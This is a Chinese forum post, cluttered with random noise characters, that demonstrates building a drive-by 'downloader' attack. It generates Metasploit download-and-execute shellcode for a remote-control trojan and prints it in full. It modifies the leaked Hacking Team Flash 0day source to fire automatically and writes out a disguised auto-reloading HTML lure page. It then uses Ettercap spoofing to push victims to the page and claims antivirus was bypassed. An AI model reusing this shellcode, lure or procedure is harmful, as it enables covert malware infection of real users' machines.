|
) j( i) [ X$ {( P3 t
三、flash 0day之手工代码修改制作下载者实例入侵演示 9 k3 o; L1 W- X% x) A! f
2 I: b: N4 U: T7 q
7 t3 Z/ f0 Y7 c$ R( Y( ~$ I3 c 利用到的工具： 6 ?" [7 \ P* p0 R# j
) ^1 K3 a& u7 G. o0 j% N6 l0 B. L$ V5 a8 e- F! ^& N4 M
Msf
, C7 O. F8 W. p . F' q" _( ^3 h; @4 F4 u" y
5 C8 [% B! s) X2 [9 o1 A: ?! H, }
Ettercap 6 f2 g0 a1 [" g# {+ Z! H
; i. ]- I$ w# T% y3 `
5 ~9 c4 I8 \3 m4 g- g Adobe Flash CS6
& R7 j! i' O/ y$ Q) S2 C
& X u- |: u6 d, Z% X
* [/ q$ Z: n; m$ ^+ L: a4 b- ^ Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 / T) f3 q6 _ m9 X& ~
- [1 R# B; q9 n! w
. q) \5 `4 K) z 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options & s" r Q/ Q/ H
% k* Q# ~ v6 `4 b2 O: A
$ k3 m1 ]7 T% ^ 如图： * {. ]+ k! E* t
0 T" z2 j# \) A0 |' a
+ F* E9 M7 c* H5 u' u6 l1 n5 ~4 {
# c& k8 u8 Y6 `+ Q+ u
: s& e! r) G! @ K" _# {9 P6 _7 ~: |5 z
) x7 {6 ]# }, ?3 p, S b# j/ z6 ?! s + h$ e4 c% c( c0 r U l& F. `
4 Y; z0 Y* q& @! w* M 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: # K" n) \- ]2 K1 t5 o
! H# H/ v( X- e- Y2 M4 ^8 b# A' q/ i% `. J
h: A" z+ y! O( Z' O: f
; ?% V- }2 `9 U
& P% V6 `' N. k* N y 
1 M4 t; J1 D2 `2 o; E: X9 V * W# o2 Y9 k& r3 a* m
6 D+ s5 L8 }; N5 n( T* M. R9 i 然后执行generate -t dword生成shellcode，如下：
, }3 V$ z" H8 T( B. a, ?
, y; }4 F& `3 c; l* Z# T8 ?, p) G6 P* d6 F8 j! N
8 C0 D6 A. |; x2 b% d
, ^2 j; H# t% Z! F, C$ z1 b5 n# {5 z6 {/ M- z4 q- {6 _
复制代码到文本下便于我们一会编辑flash exp，如下：
% j$ A, w- t! G* v3 W 7 V" [8 Z4 D. X) V9 i
8 W# M; @) ]: ]$ Z) u$ n, a% V
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 8 `, _5 E1 Z4 ?7 L, W/ b* v5 e, e4 d
9 D. u4 \" b2 H% a4 q" L" R
7 K5 w2 E5 d: u5 D 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, + G v# c% |9 W1 P
4 q7 l) T; _+ o3 d- M; i" W' ^+ ^
+ s, a, r: r& s6 ? k 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, + d, \. @" b# s& G
) v2 F8 t5 j, y8 J& Q7 A
/ `, c+ t/ k5 y4 j1 Y
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 0 A* ?% A3 F( N; m
* n& ~9 w3 m q* f. C
$ A1 p7 g% N6 j3 Q# Y 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
$ \/ R/ L5 b& A9 Y+ Z8 ^0 d
# d7 O1 d* w9 B; X' ^
1 U- [& j: `7 K% J0 P* C) P+ V, Q/ I 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
8 A, }/ F9 T% N% D8 s # P9 m# q, z( u6 W' r: f
: M6 ^) l x; j3 _; i$ F 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, " R4 _, `4 M! A% C) X* F
3 c9 U7 @7 } f! h" M' U5 P
6 K3 F {( h, ?- v: L 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, & C! ^$ Y2 Q* C! L& t
$ s! Y! p' ?7 n* {
8 a' S9 j% J& G5 ?% K* o 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, # K' K7 a8 `1 s- d9 K3 _
% s4 X" H/ \3 L5 F, Y
+ _) L, {( c/ c! Q- c @$ f
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, 2 y; E, r3 p0 j. B
3 g7 f/ V4 \$ n- X% x! C5 X; o6 S
4 A; F4 X# `& r! j: | j' ] 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, , r' ]# \" J4 ]4 p: [, V- j
T/ C! E& P& p4 a V# L
1 b; P% a: w* k& j& d5 H
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
! Z8 ~/ f2 p5 g6 O
! i$ P. Y1 ]8 J& J( O/ t, S; q9 i2 U0 ?
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
% P. N" |+ |6 J$ |1 S; T( L4 t% J * ~& y7 `& ^4 G% O$ i
" ~4 p2 e' h/ i- y
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
7 B0 s2 A: u, L5 A
* ^" Q6 ^9 v. c* R# M$ o2 C& @: b, y( p: ?# }: B
" G& s+ U, p# F% q# \
$ K1 i E0 ]. e# x, R( ~% ?: P8 x" |3 S- b: n: @& v# ^! Y7 G
0 g: F5 }& |: h$ J7 M" D
( [$ U! t& I6 f7 M/ j6 ]
9 W/ C: u9 w- _5 e" O" @ 下面我们来修改flash 0day exp，需要修改三个文件，分别为： & q' {8 {6 O* v- @& X( F8 e# r
2 j% _5 Q1 \9 N ]
. F7 w# [6 F! P: \- [  5 H6 ]6 r, j1 y# {& m! o' p6 ^# {' S
; t& B6 Z! o) J8 `) J
$ h9 C9 p0 ^4 L: p i8 f
先修改ShellWin32.as，部分源代码如图： : P( D/ q" q( f9 }1 N' z
P1 P$ H: c, K/ h
) n2 q+ L) i4 |4 m 
, h2 n1 ~* R" F! M
+ P# S/ `0 q3 |
5 ]9 [( p) {; f2 A+ D 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：
4 \; K) U( ]* @) E2 g& [ * u# o- V/ m* r; K0 f; q0 J- Q
) C( ]" e8 N% v6 j  ( u. H! ]3 U: Z
( x! O; @+ w/ G2 J* Q0 o
# V S6 U h2 u, z 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： ' h' \% |" Y% O k+ N
9 J( e# R4 V: W, D; z$ D' b- _. c+ j; S( U" Z2 D
( g6 X3 c8 e0 N: o1 ]$ }# E' ~% k
+ }/ @5 O% u7 X; z$ {
( C' n. N+ p! W N: J- `! f 换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
1 Y5 F1 ~9 v. K, G3 G. N. D # B' Q" j$ [1 K
+ E0 n# Z' z- N
" R; p% M, W. [
9 a% ]' [: A2 a- U7 g7 y. e. d" j, ` V+ w2 H4 o
0 B9 d! {4 |5 q2 V! q/ `
* c3 N7 B! Q V' q" _
- l+ @7 o* x% I# b  . u) @# C& a$ W: }" A0 q
& H: R! Y& A" [* o7 C1 Q0 R+ t
8 k1 ^/ }8 Z0 ~. J 然后点保存，下面我们来编译一下，打开 4 [: t- w% B9 i
_* f6 `% g( [. o- n6 c* q: e+ R$ W% ^" U/ D, ~
exp1.fla然后点文件-发布，看看编译没错误
; G& ^& p7 x! J/ _0 \; F 0 `: b& {9 e8 s/ a& C/ A! J
Y& B( n5 K- x( ^+ Y' u. Q- R# Q
& Z0 \. s$ |. b+ k, i ( p/ R' q- k5 W7 x; O
& y( q* _/ l- X9 r% I& Y
0 h& i0 j6 s2 O# K- [4 n2 D Z: O" T+ T9 U' k6 n+ D, _( [
! @& e, N! g1 L% U" F 0 j0 G; N) G1 w- n! ^9 V2 o
# _( u) f _: y3 }7 \
' P4 F* ]( _; M  / ?0 N3 k* F( w2 g3 z
0 f) e7 l" u3 t2 u- b1 t8 i
8 y h% |6 z# y) j
然后我们把生成的
6 c; a2 P3 z7 R4 C; F. U6 ]: U* Q # H! _! C5 j2 ~8 ]
, @- j5 @9 Y2 O8 i& b
exp1.swf丢到kailinux 的/var/www/html下：
' H' o( C0 Q4 @# t% L5 r
3 b i+ t3 y# c" n0 C6 b! b0 n
) a7 C Q f& M' d 然后把这段代码好好编辑一下
$ Y3 P9 w2 N1 X) e; r+ \
. P' E% x- a) W0 L3 \7 D/ ?' O/ s8 ]' ~' o& E z' i
6 [8 l! k. @5 H' g7 z3 F3 i& W ; T& g7 g0 b4 Y; p$ T
+ `1 r: R+ [- z9 [' z
- ?' J; ?7 K6 F* O - j: ? H7 _3 P \4 [' U
+ m2 W7 o: Z: U5 b( P
; p* n' p" j: Z" I2 j3 k# e- K1 B
+ m7 G. k `* ` `1 F4 \, E1 o/ z3 H& q
) T5 @; w! Z* Z' w* Z
7 R W* u* u7 H" M# s
& @8 e! M. b/ C6 I S 7 C; Q( a' \5 Y- u- x& X
2 X4 Y/ B f% p3 ]4 c
; V7 J1 T6 I3 _2 T R$ d$ i+ _ Q9 D0 W 4 d- D1 ~7 A+ `8 g# t" b+ e/ W4 }3 J
" T& [- _. v$ R/ c% {# W% q3 H* ]$ p. j) W7 y( D& M
<!DOCTYPE html>
$ d; j' _* m0 d) g: Y" R
: J; b% y, v3 \2 F a- P* U' i& C: O# ], Z& J
<html> n- N- @# L0 ?& X4 y% q
; H: Q: @$ k2 c% ]( o/ k% w
6 W" a& h+ Y% w# L+ u5 V1 a8 R <head>
( l' F0 m1 d; s( ?5 y1 h
$ W9 S0 W4 `3 Z1 N0 A& Y% u" X3 R q3 w* H+ o' o1 m
<meta http-equiv="Content-Type" content="text/html; . }2 v9 g$ G) L, W' k
* y& p6 @" n/ w7 B8 k+ l1 X6 E
% H0 F5 L" @9 \; D
charset=utf-8"/> 4 M/ }/ T! u2 [. F/ |+ u
" d8 ~7 r8 y' R! O7 m8 Q7 Y5 H+ z4 O- V
</head>
p% O1 e' `+ Q& {$ J) n6 l2 v ; s7 j1 s- D6 X" p$ N% j
# I. a, y8 z; I: x <body> ' |* j1 l5 Y5 d7 m H4 x
7 F! H4 b# y. C4 S5 e3 [( \7 h) `/ F
<h2> Please wait, the requested page is loading...</h2> ) A. _1 x7 ~# I e0 H% s. @
! e1 t2 ]/ |4 X
`6 H( {, `' X$ D* J- V
<br>
# X f6 Y* l- e. ~ . u) j9 R4 C8 @% T9 j8 D' v
6 h3 s7 n& d9 P- [( ]5 P
<OBJECT 8 w I+ J Z E, n+ U: P5 [
; q: p" K, M/ g b& m; A9 Q! B0 y2 `6 B
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie
) R6 S$ \& L' R2 t3 C
: R7 M. v4 W3 Q) O/ N
: E* W1 \/ ?. d) Q$ J" G VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
\/ Z3 i# D8 ^$ T
& L+ j! J( ^2 k' ?$ Q6 L% f* t# J
- |; o5 m+ K4 H) M </body>
' C0 P5 f2 W# d
- u$ C: b3 k/ K( }% Q3 R2 v \, O* p" f/ v/ o/ P
<script>
. s; c* n9 t/ K4 t* D. ~* e+ a - L& D3 R' \0 x9 B* _$ d, t3 M
" e; N: u& l1 Z: h setTimeout(function () {
$ j, N) Z! T& m$ x0 G0 q ~% c4 X9 I2 K
$ [/ Q8 k c% I% G T
% F% s% y$ h' z, `4 z3 _( O
* s/ \' v7 `* i: P Y9 Z1 c" u, i0 }0 R
window.location.reload(); # t3 H! y6 z0 r, h6 ]4 I
- |( X7 v) h8 A8 A
9 z6 C! K g) K, Z; a }, 10000); - y. P* Q( I- {: |% A6 d8 `' {( z& X
% \" N, ~/ M3 @0 d+ B1 P2 O1 r0 g, |$ n: B
8 T4 J/ V% D8 H: X1 d: S
4 ]( |! E$ M0 n% Y& P- w- g0 L4 X ^8 C3 w/ c
</script>
7 u+ _ w8 a% [ 6 U+ K1 }, \( \5 U5 e( ?$ c! `
: X5 M& R. L4 u+ h6 Q! d </html>
4 Q8 o R; b, b1 {: _( D* ? : o6 M0 Q- ?6 c! ?+ m& q1 H7 Y2 W
: _) z* T1 y7 a; \5 g% ~, `4 \
- C4 ~& I" r% h- B p' ~8 c % X/ g$ U1 v" j( r
. {- b" l1 y' j: L2 `" S8 T/ A 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：
9 q6 a+ t- v7 h& e( \' R2 C * L3 A4 N/ J j# z) V
: l# Q" b# L+ t8 e 
' [: P! F( P/ n& O. n ' }4 d3 a0 a6 P& S
0 \8 S9 F5 j! e' c' M
* _( t$ h# Q8 W 0 y$ H! j8 H9 x( j2 \
+ {+ H6 o6 C4 T+ m- _$ k. u
; y/ V; ^* e6 A2 Q, T% t' q
0 `/ e; Q# X! w, e! E5 b5 Y3 I! m3 z) E+ s& p
% | a! P* ^- W& s
% x2 D4 X! J, l9 B
8 U* O5 s- s8 _9 X L9 Y & s1 V7 v/ n! X! B
/ e0 J) d K& S
8 [* W6 V7 s( k3 p7 S2 p. {# ~
下面我们用ettercap欺骗如图：
1 c9 F, X8 _; L8 w2 X
6 a7 @% w- ~6 W* ]
' i& F4 D5 ~! O7 n) x. C# K  ; l0 Q' j5 ^* B* F6 M
3 l9 _3 a+ f) W" S# A
* R1 E9 d2 D# Z. m( Y2 D% v , W8 t8 H/ Y2 L, O- d6 c0 ^7 w- B
$ M# h" Z2 H3 u% `# F: b
$ @) b t7 Q1 z X 下面我们随便访问个网站看看： / n) g( L) k" A% I
7 G& l2 k1 U0 m* r; g. x! @* D# a' ?% K8 \* a. Q6 P+ b" L1 `" z
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： 7 \/ J/ E7 w+ p9 z) B
/ y1 t C' M& E" p
7 V6 t* A( Q- Q8 U# ~- H 
: _: h8 h! w; n$ L. f; _$ d& @ ( S( B$ a+ {& S. H$ O, |. Y0 l
7 Q. }9 T8 B' f* B; `* n 我们看另一台， 7 X) s/ [ j. d8 }
7 C+ B, K1 z5 N) }- [7 G+ O7 T! Y1 Z2 K" {+ Y$ f# c
提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。 3 k2 h1 c/ U7 Q% j" \
| 
发表于 2018-10-20 20:28:55
收藏
支持
反对